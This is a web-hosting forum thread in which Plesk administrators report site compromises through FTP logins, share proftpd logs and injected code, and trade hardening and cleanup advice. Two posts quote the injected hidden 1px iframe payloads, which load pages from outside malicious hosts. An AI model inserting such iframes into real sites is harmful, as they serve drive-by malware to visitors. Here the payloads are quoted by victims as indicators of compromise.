• If you are still using CentOS 7.9, it's time to convert to Alma 8 with the free centos2alma tool by Plesk or Plesk Migrator. Please let us know your experiences or concerns in this thread:
    CentOS2Alma discussion

Under Attack?

Sorry,

I forget to put the "hell iframe" I inserted some spaces to help protect from clicks.

<!-- . --><iframe width="1px" height="1px" src="http:// ishigo. sytes.net/ openstat/ appropriate/promise-ourselves .php" style="display:block;" ></iframe>
<!-- . --> </html>

Thank you.
 
IgorG said:
Guys, please make sure that you have performed Plesk Securing Best Practices to Prevent Threats according to article http://kb.parallels.com/114396
Additionally Parallels has created a Malware Removal tool at http://kb.parallels.com/115025
Click to expand...

Thanks for the info, however I'm currently concerned with how they got access in the first place. Is this issue being looked into? Cleaning up after a break-in does little if the security hole they took advantage of to gain access in the first place is still there...
 
Most of my hosted sites were infected on May 13th. I've got multiple successful FTP logins from different ftp users in my logs. I could imagine that a brute forced password for one (!) ftp account would be possible. But not for that many at once.

May 13 03:48:53 ********* proftpd[13929]: ********* (88.198.20.247[88.198.20.247]) - USER *******: Login successful.
May 13 03:48:55 ********* proftpd: pam_unix(proftpd:session): session opened for user ******* by (uid=0)
May 13 03:48:55 ********* proftpd[13930]: ********* (88.198.20.247[88.198.20.247]) - USER *******: Login successful.
May 13 03:48:56 ********* proftpd: pam_unix(proftpd:session): session opened for user ******* by (uid=0)
May 13 03:48:56 ********* proftpd[13931]: ********* (88.198.20.247[88.198.20.247]) - USER *******: Login successful.
May 13 03:48:59 ********* proftpd: pam_unix(proftpd:session): session opened for user ******* by (uid=0)
May 13 03:48:59 ********* proftpd[13932]: ********* (88.198.20.247[88.198.20.247]) - USER *******: Login successful.
May 13 03:49:00 ********* proftpd: pam_unix(proftpd:session): session closed for user *******
May 13 03:49:00 ********* proftpd[13931]: ********* (88.198.20.247[88.198.20.247]) - FTP session closed.
May 13 03:49:11 ********* proftpd: pam_unix(proftpd:session): session closed for user *******
May 13 03:49:11 ********* proftpd[13930]: ********* (88.198.20.247[88.198.20.247]) - FTP session closed.
May 13 03:49:14 ********* proftpd: pam_unix(proftpd:session): session closed for user *******
May 13 03:49:14 ********* proftpd[13932]: ********* (88.198.20.247[88.198.20.247]) - FTP session closed.
May 13 04:30:26 ********* proftpd: pam_unix(proftpd:session): session closed for user *******
May 13 04:30:26 ********* proftpd[13929]: ********* (88.198.20.247[88.198.20.247]) - FTP session closed.
May 13 05:57:06 ********* proftpd: pam_unix(proftpd:session): session opened for user ******* by (uid=0)
May 13 05:57:06 ********* proftpd[17690]: ********* (88.198.20.247[88.198.20.247]) - USER *******: Login successful.
May 13 05:57:07 ********* proftpd: pam_unix(proftpd:session): session opened for user ******* by (uid=0)
May 13 05:57:07 ********* proftpd[17691]: ********* (88.198.20.247[88.198.20.247]) - USER *******: Login successful.
May 13 05:57:07 ********* proftpd: pam_unix(proftpd:session): session opened for user ******* by (uid=0)
May 13 05:57:07 ********* proftpd[17692]: ********* (88.198.20.247[88.198.20.247]) - USER *******: Login successful.
May 13 05:57:09 ********* proftpd: pam_unix(proftpd:session): session opened for user ******* by (uid=0)
May 13 05:57:09 ********* proftpd[17693]: ********* (88.198.20.247[88.198.20.247]) - USER *******: Login successful.
May 13 05:57:11 ********* proftpd: pam_unix(proftpd:session): session closed for user *******
May 13 05:57:11 ********* proftpd[17690]: ********* (88.198.20.247[88.198.20.247]) - FTP session closed.
May 13 05:57:12 ********* proftpd: pam_unix(proftpd:session): session closed for user *******
May 13 05:57:12 ********* proftpd[17692]: ********* (88.198.20.247[88.198.20.247]) - FTP session closed.
May 13 05:57:15 ********* proftpd: pam_unix(proftpd:session): session closed for user *******
May 13 05:57:15 ********* proftpd[17691]: ********* (88.198.20.247[88.198.20.247]) - FTP session closed.
May 13 05:57:16 ********* proftpd: pam_unix(proftpd:session): session closed for user *******
May 13 05:57:16 ********* proftpd[17693]: ******* (88.198.20.247[88.198.20.247]) - FTP session closed.
May 13 06:09:16 ********* proftpd: pam_unix(proftpd:session): session opened for user ******* by (uid=0)
May 13 06:09:16 ********* proftpd[17738]: ******* (88.198.20.247[88.198.20.247]) - USER *******: Login successful.
May 13 06:09:20 ********* proftpd: pam_unix(proftpd:session): session closed for user *******
May 13 06:09:20 ********* proftpd[17738]: ********* (88.198.20.247[88.198.20.247]) - FTP session closed.

But how did they manage to get the login credentials? I've cleaned up the damage but would like to know, how they got into the system/stole the passwords in the first place. I'm running an Plesk 9.5 on Debian Lenny.
 
Last edited:
looks like bad guys had ftp passwords and this points me to Plesk bug in 2012 in filemanager (could be somethng similar) and not hashed passwords but I have no idea why Plesk 11 would be affected since Parallel says they don't store passwords in plain text anymore

Also, looks like Parallel either doesn't care about this issue.. or doesn't care to respond...
for now everything points to unknown MAJOR bug in all versions of PLESK

I blocked ftp to few IPs only and installed restrictive CSF ...clean for now but until I hear serious response from Parallel I advise all clients against using Plesk
 
EricVis said:
looks like bad guys had ftp passwords and this points me to Plesk bug in 2012 in filemanager (could be somethng similar) and not hashed passwords but I have no idea why Plesk 11 would be affected since Parallel says they don't store passwords in plain text anymore
Click to expand...

There are a few reasons why this could be the result of the 2012 bug in plesk:

1) passwords where stolen, plesk was upgraded, but passwords not changed. encrypted or not, the stolen passwords will work just the same

2) passwords where stolen, plesk was upgraded, passwords changed. password changed back to the old (stolen) by the user because "the new is to hard to remember", the stolen passwords will work

There are a few reasons why this hasn't have to be a plesk issue:

1) java !!! we all know the security wholes in java lately

2) malware. remember gumblar? you can have an encrypted password with 89 characters, if a pc virus steals it, a hacker can use it. how they steal it? see point 1

I agree that plesk is a good candidate, but there are more and security isn't a mather of plesk alone. a few actions will make every server a lot safer:

- install clamav
- auto download extra clamav signatures from http://sanesecurity.com/

ftp:
- get the psa-proftpd from atomic and enable virustesting in the ftp uploads

add to /etc/proftpd.conf

<IfModule mod_clamav.c>
ClamAV on
ClamServer localhost
ClamPort 3310
</IfModule>

- enforce sftp, few hackers use sftp

add to /etc/proftpd.conf

TLSEngine on
TLSProtocol SSLv3 TLSv1
TLSRequired on
TLSRSACertificateFile /usr/local/psa/admin/conf/httpsd.pem
TLSRSACertificateKeyFile /usr/local/psa/admin/conf/httpsd.pem
TLSCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:-LOW
TLSVerifyClient off
TLSRenegotiate required off
TLSOptions NoSessionReuseRequired NoCertRequest


websites:
- install mod_security
- install maldet you can even configure it that it deletes infected uploaded file at once. http://www.rfxn.com/projects/linux-malware-detect/

But what am i thinking off. As you are all professional server administrators these are all things you all know and use.

regards
Jan
 
I Agree with the point about vector of attack.

On my side all affected sites are "compromissed" on 13th May, with some details and some traces back to 05th may.

As explained before I digg on all affected servers and seems bruteforce over ftp (not so brute) as std pwds are easy to gess, affected users don't changed the passwords, or used as usual dictionary pwds.

I can't locate other traces and servers still have trip-wire and etc, with double chek daily and don't identify any binary changed.

Ok, I understand the point about up-to date versions but the only affected domains have Proftpd enabled, the other domain with NO local web hosting don't have any traces.

All administrative passwords are OK, all email passwords are OK.

Personally to me seems problem with ProFTPd.

My actual concern is:

Ok what is the best way to "mass clean" compromissed files / domains to proceed to full fresh server deploy and use PPM on clean data, as there is no sense on fresh server deploy with no 100% data.

If some one can help with this point too :)

Jr
 
Spyder said:
What is the easy way to script something to "clean" all files ??
Click to expand...

- find the sites that are infected
- restore those sites from the backup.

- use the plesk provided script to change all ftp passwords.
- mail all clients that there passwords are changed and that you have restored there site from a backup.

This is the action we did take after the plesk password heist in 2012.

most of your clients will be glad with the swift action and follow up on security and i bet that the ones that complain are those ppl that still have joomla 1.5.2 on there site or something simular.

I cant give you the correct script to restore your backup because i don't know what backup solution you use. We use rsnapshot but its possible that you use r1soft (idera), safekeep, areca, bacula, or maybe even a self made rsync script.

regards
Jan
 
Well guys. I personally asked some of you login credentials to your compromised server for investigation by our security team. So far I have not received a response from them. Parallels concerns the issue seriously and would like to gain access to compromised server for starting investigation. BUT NOTE: Your server should be absolutely up-to-dated on OS and Plesk levels. All available OS updates and latest Plesk microupdates should be installed but server was compromised anyway.
Can anyone provide me login credentials for such type of server in PM?
 
Spyder said:
I Agree with the point about vector of attack.

On my side all affected sites are "compromissed" on 13th May, with some details and some traces back to 05th may.

As explained before I digg on all affected servers and seems bruteforce over ftp (not so brute) as std pwds are easy to gess, affected users don't changed the passwords, or used as usual dictionary pwds.

I can't locate other traces and servers still have trip-wire and etc, with double chek daily and don't identify any binary changed.

Ok, I understand the point about up-to date versions but the only affected domains have Proftpd enabled, the other domain with NO local web hosting don't have any traces.

All administrative passwords are OK, all email passwords are OK.

Personally to me seems problem with ProFTPd.

My actual concern is:

Ok what is the best way to "mass clean" compromissed files / domains to proceed to full fresh server deploy and use PPM on clean data, as there is no sense on fresh server deploy with no 100% data.

If some one can help with this point too :)

Jr
Click to expand...

I don't believe that ProFTPd is the problem. We have the same exact issue with the same symptoms but we are on a Windows machine running Plesk and using Microsoft FTP Server 6.0 rather than ProFTPd.
 
I didn't receive any response on my request. So, I think that we can consider this as not critical issue.
 
IgorG said:
I didn't receive any response on my request. So, I think that we can consider this as not critical issue.
Click to expand...

Well, I was the one who brought up the issue and I don't have any PMs from you. Either way I'm glad this entire problem, which is clearly seriously affecting quite a few people, hinges on the response to a PM supposedly sent to a couple of users through a web forum. Parallel might want to make just a little bit more of an effort to solve this problem, because obviously it's not in everyone's imagination.

I personally give up on this issue... I no longer have any faith that this will be solved by Parallel, and if I find one more illegal access I'm dropping Plesk and moving to another control panel...
 
I believe the server is secure now... so next step

How would I go about cleaning all of the iframe entries that are in all of the .html and .php files?
I checked the backup and its also infected.. so I cant just overwrite everything with old data.

Is there some sort of script to remove the string of text in each file?
 
IgorG, can i send my server credentiais by message?
I have same problema today in one of my server... all access granted via proftpd and i don't know if this agent is really a problem, i think have hidden problem in plesk panel.
 
same problem

cat /usr/local/psa/version
10.3.1 Debian 6.0 1013110726.09
proftpd 1.3.3e

last attack in 2013-05-13 on many html and php pages with injiection of iframe code with src from 'ishigo.systes.net'
source ip (found in proftp logs): 188.190.124.120

Then I changed all ftp passwords

Today another attack: same technique, injiection of iframe code (in html and php pages) with src from 'noveltyship.com'
source ip (found in proftp logs): 188.190.126.105

Now I've added two iptables rules to log and block connections from 188.190.0.0/16

I think it's a plesk's problem.
 
IgorG said:
You can send login credentials to me in PM if your server satisfy mentioned conditions - http://forum.parallels.com/showthread.php?286423-Under-Attack&p=686591&viewfull=1#post686591
Click to expand...

same problem here on windows server 2008 R2 SP1 and plesk 11 for windows,
code added to sites is:

<!-- . --><iframe width="1px" height="1px" src=" http://noveltyship.com:7891/preferences/button.php?licenses=157" style="display:block;" ></iframe>
<!-- . -->

how we can solve this problem totally.

Regards,
Hamed
 
You must log in or register to reply here.

Similar threads

H
Issue ipv6 install error failed (99: Cannot assign requested address)
Replies
1
Views
582
Peter Debik
P
Lenny
Resolved Seeking Assistance with API Communication Issues via SSL on Plesk
Replies
4
Views
690
Lenny
Lenny
PeopleInside
Resolved CORS stop to working using HTTP 2 Plesk Plesk Obsidian Version 18.0.52
Replies
17
Views
3K
PeopleInside
PeopleInside
D
Input How to run Magento 2 on Plesk Obsidian 18 without Docker
Replies
6
Views
3K
WebHostingAce
WebHostingAce
R
Question Missing Authorization Headers in FPM application served by Nginx
Replies
2
Views
5K
Kaspar
K
Back
Top